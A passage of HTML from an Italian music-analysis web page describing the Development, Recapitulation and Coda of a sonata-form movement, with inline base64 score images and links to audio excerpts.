aAEgmGgBIJhoASCYaAEgmGgBIJhoASCYaAEgmGgBIJhoASCYaAEgmGgBIJhoASCYaAEgmGgBIJhoASCYaAEgmGgBIJhoASCYaAEgmGgBIJhoASCYaAEgmGgBIJhoASCYaAEgmGgBIJhoASCYaAEgmGgBIJhoASCYaAEgmGgBIJhoASCYaAEgmGgBIJhoASCYaAEgmGgBINj\/AfbkvYbpKvctAAAAAElFTkSuQmCC\" alt=\"\" width=\"164\" height=\"69\" \/><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/EkN-Sviluppo-d.mp3\">EkN Sviluppo d<\/a><\/p>\n<p style=\"text-align: justify;\">Sviluppo completo: <a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/EkN-Sviluppo-completo.mp3\">EkN Sviluppo completo<\/a><\/p>\n<p style=\"text-align: justify;\">Lo Sviluppo tocca diverse tonalit\u00e0: comincia in REmaggiore e la prima Frase ci porta al V grado di MIminore. Questo si collega all\u2019accordo di DOmaggiore (cadenza d&#8217;inganno in minore); quindi si toccano il LAminore, il SOLminore, il REminore e infine, attraverso una breve scala cromatica in semiminime espressa dai violini all\u2019ottava (b.73), si torna alla tonalit\u00e0 di SOLmaggiore (b. 76) per iniziare la Terza Parte, la Ripresa (elisione fra Sviluppo e Ripresa).<\/p>\n<p style=\"text-align: justify;\"><img loading=\"lazy\" decoding=\"async\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAhMAAADGCAIAAADnrZXGAAAQCklEQVR4nO3d23bjKgyA4bz\/SzMX6cry+IAFOiDg\/666ExuEkNHOtNP5FAAAWnxGBwAAmAydA\/DyAdIwrm3b4QB8jT4ogP8Yl7ftcAC+PB5XIAkqG3BB58DCqGzABZ0DC6OyARd0DiyMygZc0DmwMCobcEHnwMKobMAFnQMLo7IBF3QOLIzKBlzQObAwKhtwQefAwqhswMVT5+j4FRGVy+SjmcwrvPf2gqdZXjOGhNgnwEX9HLx9V3KOt46WYd76+JKJkA37BLjo6Bylesh2HO5Ph7jVvOXySaJvkNcYkA2bBLjo6xyVt0w+FtjOW+w6x\/ddOscs2CTAxSadoymS+o2tc2EgNglwsXPneBqnclffdBiFHQJc9HUOk\/ZQectw3vr1rf1GEgnyYIcAF62d4\/W0Nfm4YDhv\/Xxv6h\/XzkHzSI7t6fT53+\/FpwsqD\/Z1kKcbJWPqA7i992kc+ZV9Ec6rvqLudMnfqryo3Cb5fkkuFkaOVNieHtfKfno8JI\/N7butx0Tr+Kdr5PcqX+y7fj2nxcpP8MpbkmPdcF7hZklCEs6IPNieZk1n\/esz0NEexnaO29f1VzYFvIDbE7w7M\/KkGc7btE1PE32q5OMjGHvTrKlzVF7\/vds0y+uAHRfrY2i68iXixiNpUrY9tbtzKOe9vbhpHJMiRzz2pln9AW66\/umW11km7RzCyHc4NZ6O0daTV3Kj37y3F7dOXbl4+TKYFxvTrFLTrQ+29zEhvDiyc7xH\/DbgGionuH47wub9XdAX5Ouwa9fA1NiYHp8D+fW3r7feUn+r7+KYzmEe9tQqJVF\/q2k073nLpXjqQb6+Ip8XY7Ex\/Zr6x+1lk3aO6+uSK+kcR6\/7e1stfp3Dat6nh0JeM6\/xIAN2RUvYP26fnKbrJW\/1Xdw0UfeLdI6vz0X9mvotktEM5711GuF2Ok0k9XVhCPbDgPy5Pb3yOmbrW30X1yeSPMCSK83DBjAKD6eZ1uYxS+cwnIXOAayBh7NZ0weLp3c15+yknaMykeZKAPF4Ppt1d47jBX6d4\/RWts5heBmAUXg+m2k+DXh3jutb8pCa3tJcaXINgIFE51dd673WS4hWP2o1t8tnaXrrdZuUodpeuUaRAGsT\/Tx1R+fo6DSzeFqLviUIL3t6y7ajyENtulITD4Akmj8xCNvA2p3j90XHuoTn9e3I5jvSEUP3la\/3ym8EMJbBjwndvquNCwCQlfY7vU\/vauMCAGTVc8RrPo4AAGbn1Tn4w2sAWFXzyd7xbVj6BwCsxLhznC6jeQDAetoOdM2PXTYGBgBIyrdzlHWbx9OfywGuRhc+UEpT5+gr3FWLfsShASz1EGFeEf9eAkUP6PEQIQ86BzAHHiLk4fL77G5vp+gBDR4i5EHnAObAQ4Q8Iv6BNioe0OM5Qh50DmAOPEfIo\/\/fNJVOQLkDFniUkAedA5gDjxLy8P3HRKl1wApPE\/Iw+Gc2Pgd9IwB4xQOFPIw7x4ldnMDueKaQR+e\/Jnt7PT0D8MOThTwoRGAOdA7kQSECc6BzIA8KEZgDnQN5UIjAHOgcyINCBOZA50AeFCIwBzoH8qAQgTnQOZAHhQgAaEPnAAC0SdQ5+CQOAFPIcljza0sAYBYpTmp+5xUATGT8Mc1vSwSAuYw\/pvn17AAwl8Fn9G3boHMAQGYjz+intkHzAIDM6BwAgDbDDuh626B5AEBaiTrH9d2AAFynAIAljTk6Xz9bBHzsoHMAQJ+knaPYnez15qQfHwB2M75zvF5mMpfT4ACwoQFHp\/x74HQOAEiIzgEAaDNB51Ce73QOzO5zZ3RQEyBvfkZ2DsMrXweRvw4kcXvwcQ6+Im8BojPYtHlhnYNKQiqSs49D8Iq8hdm9c1BGSKXp7KN6f8hbsGGdw\/zi+iDXMakhZNN3\/FG95C3eLp1jqxpaclHL6z7+Nt9o8jbE4p1jwxpadV1r0xx\/O+8yeRslb+dQ7vG2NbTqutbWceqxy4W8jTOmc8iv7N7jBaqnL9pZVjdEzgKQ12rO+EchbwOFpk++Z\/o9nrd6lGHnX2C85JUgrNWEkY9F3gbarnOcLugY2Y9V3fNs\/FilNE+QSWIeTpO0nfNmJWPnMNnm1xFSFRDVb26ilPaFunkBdCdt87xZSdc5rHb6d9fTCHlqiAfA3FwpnSXOVCba3yUt2zlOA8pfD9b3ACQJPqfpUjpFkNl880DeRsnVOTy2\/GmEDMXUemTwJLyaMaUf8SE4JLycPv\/\/oQJ5C5aoczht\/NMIGUpKUvQ8D01mTOlx3jxRJXdKC3kL9v4LnQAA+Dp3jqBOdZhb2LQ8Zqy8HsZk\/9ajWXtMSs3zv\/Bu+iFp8Y6VT+cYI+aMm4s+AzEpNd+CVTfUFUmLd6z88Z3D6nmWz3h9Pb4KY864WVjlISal5ruw5J56I2nxjpU\/uHPYPtKSGZ+m1k\/UEZXrATeLvlRI9tQppeZ7serOuiJp8Y6VP6xzOD3VlRmP\/+k0V1NUlWAyRBijKQOvCdGPII9Zt+7zgIajbYKkxTtW\/oDsez\/YfdOZzNUUlTy84NjCyCtBmJZPyP+UmG\/Kwlvsh6TFO1Z+3s4ROVd8FZ5mzBBSPPnuCPPzeftwaRi2yVC\/AQ1H2wRJi3es\/KR\/vh82ke2Z0hRe8IzZtG6QZL9ismpeMBRDae\/0JO0r8jQ7Dj7m75D3nQtp5+oLb8i8ecg3SL5rMVk1L5udiyH5XqfVnTf9pH9fm49enzVswZFz9YU3auoM5MXQtGsxWTWvnD2LQbnjeyatDP2xmuOYQdmPX+rr+B6ZbQpv1NQZNFW\/vEJismpeObsVg8m+75a0kuBH+Y8Dxj1pQxZZGdl8xiYb1v2R0zMQk1WPWjUcLbm+rb+maKuklai\/5SqJ4e9rw3ErkwWvsFx+7PUpMNtJ5Xar+5OPz19nicmqxwNpOFpmTTteL4B9klbcPqP3hfH3teG4t9PEL+82DPnrMbaq+6vP\/33dqjZisurxQBqOllbTgfBaBpskrbh9U7A7kr+vDce9nSZ4bU9hyF+PsU\/d3zot36oqYrLq8UAajpZWx6lXqYdNklbydw5lfACA5Z07h3lrkgfh6mmisABuDZw6A6flj60ozYCGo+VkclqdBoxfRTzzvOmD+fvaduiSrG0UOkdKTsuPyap55exQDObH3w5JK2m+N34M5u9rj6ElSwrb+KckOiVXaJO6f+K0\/JismldO2mIwPInMj7+0SSu586YP5u9r83GFS\/Jb3m1UARM1SRhSJL\/K9hj2OovtRDmLwfY8Mj\/7ciatpM+bxnF897+z\/bQk70XGT9QkYUiRnJY\/aUUlLAbzU8n8+EuYtDJD3jSOU9jM1LeknHsfY+e1FzrHZUDD0Uy0HkyvS\/iI\/+6nPEL5csLkz5vGcaKgzvF0l8nsM9p57YXOcRnQcDQT8gdZmI3jNSYHX8KklRnypnGc0WDip2S9ri1+5Xlsu\/Avp+XHZNW8bhMWg\/BZlp9f5mtMmLQyQ940LDtHd9sodI6N0TlOAxqOZqXyLMuf8eMthpc1XRksed404jqH5HZlAJPaduFfdI7TgIaj2Xp9rs1PwFRnZbe0edMw6xzKtlHSb7+fbRf+Rec4DWg4WiSPJ32Ho2Ng3jQiOod8BE0A89p24V90jtOAhqNF8njShemdN2llaN40bDqHvm2UkNXmtOeqf+gcpwENRwvj9\/+Ia3eOsXnT8O0c3aFsZc9V\/9A5TgMajhbG71CTZHjSpJXRedMw6BwmHzh+Q10H7ItqIjussYLOcRrQcLQYrUno+H9K2wGTGJ43jfvOUWkGAAB8NJ856iN23\/4a60qWXJSc0\/JjsmpekzMWQ2vMHdfXb5kxaSVB3jSGdY6OnrFq\/1hsOa3oHKcBDUcL0JEBOkfJkTcNl87Rd9e2zWOltXSgc5wGNBwtQMAJ+HrLdEkrOfKmMaBzmLSNlZrHMgvpQ+c4DWg4mre+5ffdUrlrrqSVNHnTUHWOsW3DLynB1lhFN7\/K9hj2OovtRHMVQ5ITcK6klTR50ziO7N45JG3gOgidY210jtOAhqO56l775p0jT940UnSOp4Ak985VNLcWWIIGneM0oOForsJOwNcnfaKklUx50zDuHE0XP11fLxE6x2LoHKcBDUfzo3n6du4cqfKmMbJzSGJ6HWSB5jF7\/Ep0jtOAhqP50SycztF9b8dcq3UOYUySSSeqm1uzx69E5zgNaDiaE+Vzt23nyJY3jfk6R+u8+c0evxKd4zSg4WhOlKtuuld4YnQHEylb3jTGdA7JyFbz5jd7\/ErmJ29kVdA5+m5vnYvOUegcdI6T2eNX6l7+tQziq2LDzqFPr\/xe+dnSHUyYhHnTUHWOcnl6hVc2haWcN7\/Z41eS10OrmOBtJ8pfDPold5yAVgMOlDBvymDoHIPNHr\/Safl9TeJWTPC2EyUvBpPcCm+Xb2XypJWseVMG87l2DsOnFwCwpHPn6Gg+p7HqVwqHNZk0v9njV\/Iu64DgAyZayWvGlnm0baXK23GWuM4hWVj9svgzws\/s8SspWsOLsOADJlrJJs+1uVR5O06k+qa\/MGj52uqXrVReCyxBQ9cdasKCD5hoJU8Zi9++uaTK23Eu7XdvhKE3XfY61wIVtsASNBSt4cZx2LDgAyZayW3GKluJr1R5O84V1DmuE1euMZkruTVW0U3fJJ6GDQs+YKKVXDNG25BIlTezzlG6DvT6xbdvrVdeyyykj75JPA1rHurtLJtvX4fP\/x8NaRtCqfJm2TmK9bF+O856FbbMQvo4VT+dI61vxgz\/L2ETqfJm3DmK6cl+HYQKW4\/tVgZXCKXY4ensI5N1qfJm3zmK3dN7GoEKW1L3blYeJDpHZnmOv7mkyptL5zgOrW8ep9GosMVINvS1SdA5JpLn+JtLqrw5do5icdwnSRP8fJ7\/QFIpJnjKslWqE3AiqfJ2nN0rCM06M+QIrrT94VlY8AETrWTITi0gVd6OAfjG0bTmPAmCN21\/eBYWfMBEK+Hp7pMqb8cYQv\/yofzJH54juOpsC+L6CQg+YKKVxG\/TGlLl7b8jOkkc8rewgHnbRqE4u+Q5\/uaSKm\/3ncPpYQYALOPcOVI5hoj1KKsW02EH+6TNW7qAvnImC1ZoErthW\/ukzVu6gH4SJgtWaBK7YaP7pM1bxpi+0qYMQCse5z5p85Yxpq+0KQPQime5T9q8JfqbgLf3OgUGIBLPcp+0eYv47SN9\/YPOASyDZ7lP2ry5hFVpG63NwyM8AICG7+\/KVTYPOgcAJJS9c9A8ACAbr3\/ZyaR50DkAICE6BwCgTfbOYRseAECPzgEAaJO3cwi7CwAgGJ0DANAm6U\/l0jYAIK2MnUPYXQAAQ4zpHJIRzAMDAJiI\/r1Vwhs9ogIAmIj7XbnyW5xCAgCYcDym+agBAEtyP6wl3\/agZwDARIKObBoGACyDsxsA0IbOAQBoQ+cAALShcwAA2tA5AABt6BwAgDZ0DgBAGzoHAKANnQMA0OYfJkv5ItsHn88AAAAASUVORK5CYII=\" alt=\"\" width=\"171\" height=\"67\" \/><\/p>\n<p style=\"text-align: justify;\">Il Primo Tema, nella Terza Parte, \u00e8 del tutto uguale a quello dell\u2019Esposizione e cos\u00ec buona parte del ponte modulante. La seconda met\u00e0 di quest&#8217;ultimo comincia come la prima volta, ma sopprime, rispetto a questa, l\u2019episodio centrale in sincopi e termina a b. 100 alla dominante di SOLmaggiore.<\/p>\n<p style=\"text-align: justify;\"><img loading=\"lazy\" decoding=\"async\" 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LN2AJTSKW37fkCOnmyj0QH6d9\/rP336nZeoMZpX9Z\/b2QSaaW72W2BNn\/y26ep9++cogG1Sp+xI2qElEku5j1slTk6eJruHq41NnWhOk+y+fD1KOOeCG2ubQx934LcXPX96Kut0qXWj4LuKW3zfk+EmnCD2QX+et\/tv2AHPNKvvP7L2GmmJu9Vpiz47w\/6Kr11LwpasUFH7pmsQlCRr5rjw1eZroSq4+PnWe0gSZck9tc+jjLv2W4ucv77+EcaULC95N3MnpG3LKvOOFHsjzeauH2mB3ZpX99+zrmlu9akliHPGXcEvNU1XpyHHMUtUkQ0EONWH9JoXDkNPmTZC5V9U2h\/51+fvB+FSZ\/SSMKF3+5R9ZT86fIZ8g9EAGyZOk2tyyr17AFQ\/tkansr8SXcLYqHQkKla0m0wtyqAnrNykciZzyNkEaL5Qrl1T0hbXNof+9kDzXff7yviXsW7r8yz+ynpw3SWIMEHoggySMdNfcsq9ewBUP7ZGp7Jkv4ZxVOqYWKmdN5p4cNSG6tquPT505TZDrv1l9s\/x5PQ2+s7Y59DkXkjPVb06XkKmsuNIVM7+Zu4TVC7ho\/jyx8yQp5ckmSUmSUp4kT7N6k8LJyWn0f37hYt+hvU8xvQNybHToLy5k8Hrzl1cTRMhUrq80T03yJKmmCdJi0fx5YudJUsqTTZKSJKU8SZ5m9fc1JyenxzVB3n6hYuRbGULHH+Z6E2TkkvOXVxNEyFRuNUGSlCVJjBaaIC0WzZ8ndp4kpTzZJClJUsqT5GlWf19zcnLK2ATp8u81vo6gCXLdrXen0CSz5qqjCSJkKrdWmqQsSWK00ARpsWj+PLHzJCnlySZJSZJSniRPs\/r7mpOTU7omyPk\/37g11+8BP01UMXJFhtXl\/H8g5y+vJoiQqdxtgmSoTIYMjTRBWiyaP0\/sPElKebJJUpKklCfJ06z+vubk5LRtE+RtwOs\/72ibQ5\/z\/4Gcv7yaIEKmcnelGSqTIUMjTZAWi+bPEztPklKebJKUJCnlSfI0q7+vOTk55WqC\/NkB0QSZLuf\/Azl\/eTVBhEylogkyvTjTA7TTBGmxaP48sfMkKeXJJklJklKeJE+z+vuak5NToibIpw6IJsh0Of8fyPnLqwkiZCoVK51enOkB2mmCtFg0f57YeZKU8mSTpCRJKU+Sp1n9fc3Jyem\/XTnpQQAAAACs670JMqjp8mvui\/2XiBlPft5R9PjD3F3IgNoeK5Q3NGH+5R8D\/01Qy0RLVLKLipWOeZbPA0ycvQsFbDEsf9+jnqfseZKU8mSTpCRJKU+SI8Gn80irv689Z6eWoAmiCXKDJkgdTRBNkFQ0QaZQwBaaII3yJCnlySZJSZJSniRHgk\/nkVZ\/X3vOTi0hURMktAPy54zlz4NO5zaHvu7dKSLJ4CkaaYJogqRSt1Lv8I0UsIUmSKM8SUp5sklSkqSUJ8mhCWJ8amVpgpx3QAY0QTpO9OcUEcOOV9cEcadogmiCpFLdBJlYog12RxOkhSZIozxJSnmySVKSpJQnyTH7o3mw1V8onrNTS5jfBPna\/uh1Yt6GCp2rnDpi2PE0QepogmiCpKIJMoUmSAtNkEZ5kpTyZJOkJEkpT5Jj9kfzYKu\/UDxnp5YwrQlyXGt\/dG+CjJmrnDpi2PE0QepogmiCpKIJMoUmSAtNkEZ5kpTyZJOkJEkpT5Jj9kfzYKu\/UGyzU3ucugWaICPn0gQ5d3choVX9PUvo+O00QTRBUqlY6Zhn+TzArKl7mbuE1Qs4LH\/fc56n7HmSlPJkk6QkSSlPkmOX19GLVn+h2GmnNjh4r1lNkGEtiYsThX7FX\/2U\/Li7kDEvTvnLG5ow\/\/IPTZBkKlY65lk+DzBr6l7mLmH1Ag7L3\/ec5yl7niSlPNkkKUlSypPk2OJd9LrVXyg226nVl\/Oa0gQZ2ZIYOddJhrjBR7q7kDEvTvnL63SNCdl42JaoZBcVKx3zLJ8HmDV1L3OXsHoBh+Xve87zlD1PklKebJKUJCnlSXJoghh\/ntXP3mt8E2RwV2LkXCcZQscf5u5ClPef0IT5l39ogiRTsdIxz\/J5gFlT9zJ3CasXcFj+vuc8T9nzJCnlySZJSZJSniTH+i+it6z+QrHfTi19\/F6DmyAXWxJ9v4Kcj+8t\/bpbCxn21pS\/vJogmiCp3F3p9A7IscXuKGALTZBGeZKU8mSTpCRJKU+SY\/G30LtWf1\/bcqfWXdTQJsj4Dkg56adf6Djjn1OEjj+MJkgdTRBNkFQ0QaZQwBaaII3yJCnlySZJSZJSniSHJojxZ1v3BI5rgkzpgBy\/V6gJ0uz6QuI29M+5oqdopAmiCZJKXTfTO3wjBWyhCdIoT5JSnmySlCQp5UlyrPwKWmH197Vdd2rRQziiCXK9\/RH9rqgJ0qiiCRKa52euAbO00ATRBEmlrgkSl+dijLkB2mmCtNAEaZQnSSlPNklKkpTyJDmWff+ss\/r72q47leSL4l25miBxGY7P14QmyHUXFzJsT3+mGzBLC00QTZBUKrqZ04szPUA7TZAWmiCN8iQp5ckmSUmSUp4khyaI8RNI8kXxrj+aINd7FgAAAAALeW+C9G2x3AoR6tNEAwKMWeAAXxcyeE9\/Jh02V53QhPmXf\/iXIMlcWemUZ\/lEkhgt5i5h9QIOy9\/3zOcpe54kpTzZJClJUsqT5PAvQYw\/cPyTebN9abwisAmSqgNyfL4mNEGuO1nIxAcgf3k1QTRBUjlfac4PszxJqmmCtJj+VaF6tF5DNcqTpJQnmyQlSUp5khyaIMYfOP7JvDm\/Op6LaoJcb39M\/2ajCXLdp4XMPfr5y6sJogmSyslK036MpQpTRxOkxfSvCtWj9RqqUZ4kpTzZJClJUsqT5NAEMf7A8T9NqgnyP4Ne7IAcA5\/eibuyymn46s+FTD\/6+csbmjD\/8g9NkGQ+rXT6s3wiVZg6c5ewegGH5e978vOUPU+SUp5skpQkKeVJcmiCGH\/g+J8mPXnNz+y\/XkTHEb8qf7\/X7F+DDZjoz6mnzNtduZAMhz5\/eUMT5l\/+oQmSzJ8rzfAsn8iWp8LcJaxewGH5+x7+PGXPk6SUJ5skJUlKeZIcmiDGHzj+nzNefN9P6Cdhn6DntfhUkfxlarTNAn8vJM9xz1\/e0IT5l39ogiTzttI8z\/KJhJHumruE1Qs4LH\/f85+n7HmSlPJkk6QkSSlPkkMTxPgDxy+nu\/W+n81PyEFNkPMQu9pmgf8Wku245y9vaML8yz80QZL5795P9iyfyJnqlrlLWL2Aw\/L3fQTylD1PklKebJKUJCnlSXJoghh\/4PjldAt9jSz992W4y1jnzv+wPUBa26wu53HPX97QhPmXf2iCJFN3Uc+VNth17skWw\/L3fQrylD1PklKebJKUJCnlSXI84B3qt+iVGv\/WXMt9k3zz6tUEOa\/FeTkWqledbVaX86xPD\/BVaML8yz80QZJZ8XMrc7aL5i5h9QIOy9\/3QchT9jxJSnmySVKSpJQnyfGAd6jfoldq\/OsTrfhN8s1rTBPkeo4tbbO6nGc9Q4ZzoQnzL\/\/QBElmxc+t5PGumLuE1Qs4+Ltdx9F6DdUoT5JSnmySlCQp5UlyaIIYf+D4P7O0vPLn8erSBGkvx1pVu2ub1eU87hkynAtNmH\/5hyZIMit+dCWPd8XcJaxewGH5+z4LecqeJ0kpTzZJSpKU8iQ5NEGMP3D8n1ka3\/qTeEU3Qe7m2NI2q8t51jM881+FBosb\/G2inBV4S9jy5x3DZDZrg1okSZj\/KThJPnH2nwz5q9d3rgxl\/ydPklKebJKUJCnlSXJoghh\/4Pi\/J8r2JafCq70J0uUry4q1u26bpeU862OS3PiqPvZeGLYRaSvwlrDlzzuGyWzK7jRKEjL\/U3CSfOLsPxnyV6\/vXBnK\/k+eJKU82SQpSVLKk+TY\/QXqTfRKjX9rrlRfciq84pogFYNUZ0hum6XlPOtjktz+wj6qVsM2Im0F3hK2\/HnHMJlN2Z1GSULmfwpOkk+c\/SdD\/ur1nStD2f\/Jk6SUJ5skJUlKeZIcu79AvYleqfFvzZXnG06dV2MTpOP3lX9\/snpB\/7TTQhJuzZgw17+pd3kcbgWLG\/xtopwVeEvY8ucdw2Q2fmvaJcmZ\/yk4ST5x9p8M+avXd64MZf8nT5JSnmySlCQp5UlyaIIYf+D45XRJvuHUeZVNkMavKQAAAAA5vTdBbnVQTkas\/vOvWZkl50aMyVNxXMcc3WHbkbYCbwkHTLS6wfvSRZKo+Z+Ck+QTZ\/\/JkL96fedqXDLj9dr6RrPLwBezD8h\/suUJFb1S49dNuughfE1pgmxz9TxNzi0YkyftoR22HWkr8JZwwESrG7wvXSSJmv8pOEk+cfafDPmr13euxiUzXq+tbzS7DHwx+4D8J1ueUNErNX71vCsewlf3JkjdX617+zxKzuKPiZT2xA7bkbQVeEs4YKLVjdyUXpKkzf8UnCSfOPtPhvzV6ztX45IZr9fWN5pdBr6YfUD+ky1PqOiVGr9l6uXO4WtwE2TLC+g5clY+YaQ3oQnzL\/8Y26gaMNHqVrxF10r7p7lLWL2Aw\/L3fTQ6fudhjF5b32h2Gfhi9gH5T7Y8oaJXavyWqZc7h6\/qJkjFpbDxHfQQOWueM9VvoQnzL\/\/QBElmxUItF7g0dwmrF3BY\/r5PR\/evPUTrtfWNZpeBL2YfkP9kyxMqeqXGb5x9raP4GtYEuXKhlIOscgc9RM6a50z1W2jC\/Ms\/NEGSWbFQywUuTf92MnH2dsPy9306vn7zIZteW99odhn4YvYB+U+2PKGiV2r8u9O9PRRrncbX9CZI+TvX\/3ahQu8hZ8FzpvotNGH+5R+aIMmsWKjlApfmLmH1Ag7L3\/fpOPn2QkK99r3d7EpwZvbp+B8JI8WJXqnxb821yjPyyatjE+TWL3\/6\/ZNx1q0yoa59ZjHZsJMwYCLGm3t6yWDkSRszF0CjR11Z0Ss1\/vWJknxkt3jNaoKc\/+bFQVapMqGuPIpMN+wkDJiI8eaeXjIYedLGzAXQ6FFXVvRKjX9xllSf2tVeU5ogX3\/z+qT5S0y0608jEw07CQMmYry5p5cMRp60MXMBNHrUlRW9UuNfnCXVp3a111pNkLvz8gTXn0YmGnYSBkzEeHNPLxmMPGlj5gJo9KgrK3qlxr8yRcIP7jqv8U2Q65na5+UJ7j6QTDHsJAyYiPHmnl4yGHnSxswF0OhRV1b0So1\/ZYpbH9CZD+dLE4TVVXyZZrxhJ2HARIw39\/SSwciTNmYugEaPurKiV2r8K1PM+nTu7lXdBDnu\/4dcLlbq1mjrlp5e6r9TM9CwkzBgIsabe3rJYORJGzMXQKNHXVnRKzX+lSmmfDRHeGmCsLqmr9UMMfIkjJmLweYeYKYbfNKGTQfQ4lFXVvRKjX9lilmfzt29yibIkO8zAAAAAKO9N0HuNlHKsc5\/81ZvpnFS4DlcCEAj1wiwkEddWdErNf7FWfZ4DZ\/QBLlSr\/Nf26b6QEcuBKCRawRYyKOurNWbCKuP\/3uiDV7DW5sgx51CRDRBbscFNuVOABq5RoCFPOrKWr2JsPr4b3Ot\/jLeoQlyBPRBTn7HPwMB\/uROABq5RoCFPOrKWr2JsPr45XRLH7\/RTZDfv38xWeNcwEO4FoBGrhFgIY+6slZvIqw+\/p8zrnsC+zRBjqrexPkv\/\/l\/0gEBPnEzAI1cI8BCHnVlrd5EWH38T5Muegi7NUGO3h2KP8fRBAE+cTMAjVwjwEIedWWt3kRYffzzqZc7hz2bIEfXJkU5iA4IcMLlADRyjQALedSVtXoTYfXxN9O5CXL0a1W8jaADApxzPwCNXCPAQh51Za3eRFh9\/M30b4L8jNulD\/I2mt0FPnFFAI1cI8BCHnVlrd5EWH38zUQ1QY4enYvX\/+obD9iMiwJo5BoBFvKoK2v1JsLq428msAnyM0F1F0MHBLjOXQE0co0AC3nUlbV6E2H18TcT3gT5meZ6R8M\/AAEquDGARq4RYCGPurJWbyKsPv5mBjVBfs930Vs+gHOP+ioARHCNAAt51JW1ehNh9fE3M7oJ8inEp2171LMNtHBdAI1cI8BCHnVlrd5EWH38zfzRBLn+jzUAAAAAFvLeBEnld0QAAAB2cuut1fjdx3+ypFWzowAAAGXbg1UAAAMGSURBVPu5+Hpf\/UpofM7lrZodBQAA2Mat1\/uK93zjc0XektlRAACAPdS94V9\/JTQ+F+UtmR0FAADYQPUb\/sVXQuNzXfj\/Zk\/19thRAACA1bW84V95JTQ+t0SVrH2T7CgAAMDqol\/yjc8tISXrtU92FAAAYF3Rb\/jG567+Veu4WzYVAABgXdEv+cbnruxNEPsKAACwqOg3fONzV+fC9d0zWwsAALCu6Dd843OXJggAAAAhol\/vjc9d2ZsgfeMBAAAwUvQbvvG5RRMEAACAQNGv98bnurxNkIfstGMNAAA8QfS7vfG5QhNkmrcFbr9eAAAAmCvp\/0Tu9h2BPzsgey8ZAAAA5srYBNm+I1CubvslAwAAwHRzmiBXRugeLIm9VwcAAABphbyNN7Y\/Nu4RbL9AAAAASCvqbfxu++N4RoPgCWsEAACAnALfxv0DkDcPWSYAAADkFP5CfvrfDXLj34ls4FGLBQAAgGwGvZA\/uffxzzNXDQAAAHl4IY\/18H\/8AgAAAHl4FR9E7wMAAADm8k4+iCYIAAAAzOWdfBBNEAAAAJjLO\/kIOiAAAAAwndfyETRBAAAAYDqv5SNoggAAAMB0XsvD+Z\/FBQAAgAy8lofTAQEAAIAMvJmH0wQBAACADLyZh9MEAQAAgAy8mcfSAQEAAIAkvJzH0gQBAACAJLycx9IEAQAAgCS8nMfSBAEAAIAkvJwH0gEBAACAPLyfB9IEAQAAgDy8nwfSAQEAAIA8vKIH0gQBAACAPLyiR9EBAQAAgFS8pUfRBAEAAIBUvKX38dby0AEBAACAbLyod1D+r8DogAAAAEA23tU7+N0B8W9AAAAAICev6328fpmdBQAAAPiDN3YAAADgETRBAAAAgEfQBAEAAAAeQRMEAAAAeARNEAAAAOARNEEAAACAR9AEAQAAAB5BEwQAAAB4BE0QAAAA4BE0QQAAAIBH0AQBAAAAHkETBAAAAHgETRAAAADgETRBAAAAgEfQBAEAAAAeQRMEAAAAeARNEAAAAOARNEEAAACAR\/g\/pUswyT304t0AAAAASUVORK5CYII=\" alt=\"\" width=\"450\" height=\"71\" \/><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/EkN-Ponte-nella-Ripresa.mp3\">EkN Ponte (nella Ripresa)<\/a><\/p>\n<p style=\"text-align: justify;\">Il Secondo Tema (b. 101) \u00e8 questa volta in SOLmaggiore ed \u00e8 praticamente tutta qui la differenza con l\u2019Esposizione.<\/p>\n<p style=\"text-align: justify;\">Anche le Cadenze procedono come nella Prima Parte ad eccezione della tonalit\u00e0, che questa volta \u00e8 di SOLmaggiore. E&#8217; da notare tuttavia un bell\u2019effetto di apertura causato dal trasporto un\u2019ottava sopra di alcuni elementi (bb. 120, 121, 123).<\/p>\n<p style=\"text-align: justify;\">Anche qui l\u2019ultima Codetta termina con la cadenza d\u2019inganno, mentre il breve episodio (due battute) che chiudeva la Prima Parte adesso si allarga e si trasforma in una vera e propria Coda di sviluppo arricchendosi di un elemento tratto dall\u2019inciso ritmico iniziale.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAngAAADeCAIAAAAhL+q3AAARYElEQVR4nO3d3WLbOg5F4bz\/S2suMvVkZEsGSWziR+u7Ozk2BEIUd52m7c8BAABkfqIbAACgM4IWAAAhghYAACGCFgAAIYIWAAAhghYAACGCFgAAIYIWAAAhghYAACGCFgAAIYIWAAAhghYAACGCFgAAIYIWAAAhghYAACGCFgAAIYIWAAAhghYAACGCFgAAIYIWAAAhghYAACGCFgAAIYIWAAAhghYAACGCFgAAobGg\/fln6MX2t0y\/CwCAnGYi05J\/72\/5+q6PbyFrAQClDcTYaGQOvfEqZclaAEBpM0H79WUT733\/v2QtAKAB\/6CdeO\/N1wlaAEBpKYJWdFEAAMLN\/DDwzGW2JzQAABkMB+3MNRZikqAFAJSmDdr1jCRlAQClqYLW65MoQQsAKG3sL6ywv9LlB4ZJWQBAdc5Be3r9YtaSsgCA6iRBe3rXXNbycRYA0MDAd4Nnqs8GLSkLAOhBG7RzbydlAQBtpAtaUhYA0EmuoCVlATTw\/gOhnGxPZv03YucvYK7AXgRQ2sd8JW6xKWgtL5u+BADEskQsWftY2qA1vv3mBWxKAJkNRSxZ+0x399sek1cvI2UBNDaXsmlPtrSNVecZtKcXT7y3ynYEgOmUTXuypW2surtPk8ZtMb2Z6m5HAA83HbGZT7a0jVV3Huvc5pjYRnX3IgBMhGv+wy1tY9UxVgAY0zJlD4JWhrECwBiCFkMYKwAM6JqyB0Erw1gBYEDXlD0IWhnGCgADWkbsryp9lsNYAWDAbxr1S9mDoJVhrAAw4JVGnSL2V7mGq2CsAHBp9FvEc6JX+V95OmmGsQLoxjHMCFqsSzRW7jGAFXsirfFJ1XhpsbKMNduv7AAUsvPjY+NjqvHSYqUYa87vogDIbyhiXQ6ZxmdU46XFih+r+683ATzEXMoStFcaLy1W\/FjdHwMATzCdsgTtlcZLixU8VsVjAKC9lZQlaK80XlqsyLHqngQAvRG0Co2XFougBVBMYMoerdOo8dJihY11w\/MAoCWCVqTx0mIlCtr3\/7uhAeklACgEpuzROo0aLy1WzFi\/bn3Hp+K+B119ACKBKXu0TqPGS4uVNGgPvyC8z\/L1+gA2i4rY19Udq6XSeGmx4oP268tcriUqDmC\/wJQ9WqdR46XFChir\/QEgaAG8+zH\/0+u6q7